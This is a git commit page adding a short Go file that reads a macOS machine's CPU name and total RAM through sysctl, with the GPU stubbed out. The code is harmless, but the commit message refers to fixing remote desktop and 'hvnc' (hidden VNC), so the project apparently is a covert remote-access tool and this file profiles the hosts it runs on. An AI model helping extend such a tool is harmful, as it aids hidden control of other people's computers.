fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory
This commit is contained in:
@@ -0,0 +1,45 @@
|
||||
//go:build darwin
|
||||
|
||||
package sysinfo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func collectPlatform() Info {
|
||||
return Info{
|
||||
CPU: cpuName(),
|
||||
GPU: gpuName(),
|
||||
RAM: totalRAM(),
|
||||
}
|
||||
}
|
||||
|
||||
func cpuName() string {
|
||||
name, err := unix.Sysctl("machdep.cpu.brand_string")
|
||||
if err != nil || name == "" {
|
||||
return "unknown"
|
||||
}
|
||||
return strings.TrimSpace(name)
|
||||
}
|
||||
|
||||
func gpuName() string {
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func totalRAM() string {
|
||||
mem, err := unix.SysctlRaw("hw.memsize")
|
||||
if err != nil || len(mem) < 8 {
|
||||
return "unknown"
|
||||
}
|
||||
total := *(*uint64)(unsafe.Pointer(&mem[0]))
|
||||
gb := float64(total) / (1024 * 1024 * 1024)
|
||||
if gb >= 1 {
|
||||
return fmt.Sprintf("%.0f GB", gb)
|
||||
}
|
||||
mb := float64(total) / (1024 * 1024)
|
||||
return fmt.Sprintf("%.0f MB", mb)
|
||||
}
|
||||
Reference in New Issue
Block a user